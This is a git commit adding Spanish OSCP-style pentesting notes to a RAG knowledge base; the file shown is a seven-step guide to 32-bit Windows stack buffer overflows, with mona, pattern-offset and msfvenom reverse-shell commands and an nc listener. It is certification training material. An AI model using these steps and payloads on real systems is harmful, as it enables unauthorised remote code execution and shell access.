saber: pack de metodologia publico (conocimiento/) + doc del RAG
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
This commit is contained in:
parent
12987539a4
commit
7e06ce46cf
76 changed files with 2682 additions and 8 deletions
58
nucleo/saber/conocimiento/08 - Avanzado/Buffer Overflow.md
Normal file
58
nucleo/saber/conocimiento/08 - Avanzado/Buffer Overflow.md
Normal file
|
|
@ -0,0 +1,58 @@
|
|||
# Buffer Overflow (stack, 32-bit)
|
||||
|
||||
> El clásico stack BOF de Windows. En el OSCP actual pesa menos (el examen va más a AD), pero sigue cayendo. Metodología de 7 pasos. Fuente: oscp.trastero.org/b0f.
|
||||
> Herramientas: **Immunity Debugger + mona.py**, `msf-pattern_create/offset`, `msfvenom`, `nc`.
|
||||
|
||||
## Setup de mona (una vez)
|
||||
```
|
||||
!mona config -set workingfolder c:\mona\%p
|
||||
```
|
||||
|
||||
## Los 7 pasos
|
||||
```
|
||||
[ prefix ] + [ "A"*offset ] + [ JMP ESP ] + [ NOPs ] + [ shellcode ]
|
||||
```
|
||||
|
||||
### 1. Fuzzing — encontrar el crash
|
||||
Script Python que envía buffers crecientes (+100 bytes) hasta que la app casca.
|
||||
|
||||
### 2. Offset — posición exacta del EIP
|
||||
```bash
|
||||
msf-pattern_create -l 3000 # mándalo como buffer
|
||||
msf-pattern_offset -l 3000 -q 39694438 # el valor que quedó en EIP
|
||||
# alternativa en mona:
|
||||
!mona findmsp -distance 3000 # te da "EIP contains normal pattern ... offset XXXX"
|
||||
```
|
||||
|
||||
### 3. Controlar EIP — confirmar
|
||||
Envía `"A"*offset + "BBBB"` → en el debugger **EIP = 42424242**. Control confirmado.
|
||||
|
||||
### 4. Badchars — bytes que corrompen
|
||||
```
|
||||
!mona bytearray -b "\x00" # genera \x01..\xff
|
||||
# envías offset + "BBBB" + bytearray, y comparas en memoria (ESP):
|
||||
!mona compare -f C:\mona\app\bytearray.bin -a <ESP>
|
||||
```
|
||||
Quita los corruptos (típico: `\x00`, a veces `\x0a \x0d`) y repite hasta "unmodified".
|
||||
|
||||
### 5. JMP ESP — la dirección de retorno
|
||||
```
|
||||
!mona jmp -r esp -cpb "\x00\x0a\x0d" # busca un JMP ESP sin badchars
|
||||
# alternativa: objdump -d vuln.exe | grep -i 'jmp.*esp'
|
||||
```
|
||||
Apunta la dirección **en little-endian** (ej. `0x625011AF` → `\xAF\x11\x50\x62`).
|
||||
|
||||
### 6. Shellcode con msfvenom
|
||||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread \
|
||||
-b "\x00\x0a\x0d" -f py -v shellcode
|
||||
# Linux: -p linux/x86/shell_reverse_tcp ... -e x86/shikata_ga_nai
|
||||
```
|
||||
|
||||
### 7. Exploit final
|
||||
```
|
||||
buffer = prefix + b"A"*offset + jmp_esp + b"\x90"*16 + shellcode
|
||||
```
|
||||
Levanta `nc -lvnp 443` (Reverse shell) y lanza. NOP sled (`\x90`*16) da margen al decoder.
|
||||
|
||||
Relacionado: Metasploit · Reverse shell · Exploits conocidos · OSCP MOC
|
||||
Loading…
Add table
Add a link
Reference in a new issue